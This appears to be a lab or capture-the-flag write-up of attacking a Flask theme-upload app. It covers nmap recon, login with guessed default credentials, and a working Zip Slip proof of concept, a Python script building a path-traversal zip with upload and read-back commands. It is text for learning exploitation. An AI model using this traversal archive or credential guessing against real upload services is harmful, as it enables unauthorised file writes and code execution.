Overview
The Hollow Shell is a Flask app ("Shoreline Display - Room Service") that lets an
authenticated concierge upload themed "shells" as .zip archives. Each
archive must contain a shell.json manifest, and optionally an assets
list plus an undocumented hooks field described only as "automation
hooks" applied by a background "theme worker." The archive is extracted
server-side with no path sanitization, giving arbitrary file write via
Zip Slip. Combined with the hooks field being executed as a shell command
by the worker process, this chains into full RCE as the roomservice
user.
Recon
nmap -A -Pn 10.48.182.209
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Gunicorn
|_http-server-header: gunicorn
| http-title: Byte Lotus \xE2\x80\x94 Room Service
|_Requested resource was /login
Gunicorn on 5000 redirecting to /login - a Flask app behind a WSGI
server. SSH open but no creds yet, so 5000 is the way in.
Authentication
Default/guessed creds worked on /login:
curl -c cookies.txt http://10.48.182.209:5000/login -d 'username=concierge&password=StayNoticed2024!'
Session cookie in hand, /dashboard rendered the upload panel:
Found something on the beach? Upload it as a shell (a .zip souvenir pack)
to set the ambiance on the in-room tablets. Each shell must contain a
shell.json manifest listing its assets (images, stylesheets).
A shell may include optional automation hooks - the theme worker applies
these for you shortly after the shell comes ashore, so you don't have to
touch each tablet by hand. Allowed asset types: png jpg gif svg css json.
Two things stood out immediately: a required manifest filename
(shell.json) and an unexplained hooks mechanism processed by a
separate worker.
Mapping the upload flow
First upload attempt used a wrongly-named manifest (test.json) and
silently failed to register - the app requires the exact filename
shell.json at the zip root:
printf '{"name":"test", "assets":[]}' > shell.json
zip test.zip shell.json
curl -b cookies.txt -F "shell=@test.zip" http://10.48.182.209:5000/upload
curl -b cookies.txt http://10.48.182.209:5000/dashboard
<li>
<span class="name">test</span>
<span class="id">shells/8d23a80c3894/</span>
</li>
The id field is a directory path. Files inside it are served by exact
filename (no directory index):
curl -b cookies.txt http://10.48.182.209:5000/shells/8d23a80c3894/shell.json
{"name":"test", "assets":[]}
Zip Slip - confirming arbitrary write
Extraction uses each zip member's raw path with no os.path.basename()
or normalization. A relative traversal entry alongside a valid
shell.json (so the archive still registers) proved this:
import zipfile
with zipfile.ZipFile('evil8.zip', 'w') as z:
z.writestr('shell.json', '{"name":"slip7","assets":[]}')
z.writestr('../../static/poc.txt', 'PWNED_STATIC')
curl -b cookies.txt -F "shell=@evil8.zip" http://10.48.182.209:5000/upload
curl -b cookies.txt http://10.48.182.209:5000/static/poc.txt
PWNED_STATIC
This confirmed:
-
shells/<id>/sits two directory levels below the app root - No sanitization on extraction - a raw
zipfile.extractall()-style write, or manual path join with no traversal check -
../../static/lands in the real Flaskstatic/directory, which is directly web-servable - giving an easy read-back oracle for further tests
(Absolute paths and multi-level ....// traversal were also tried
before this and consistently 404'd - the ../../ relative form was
what worked here.)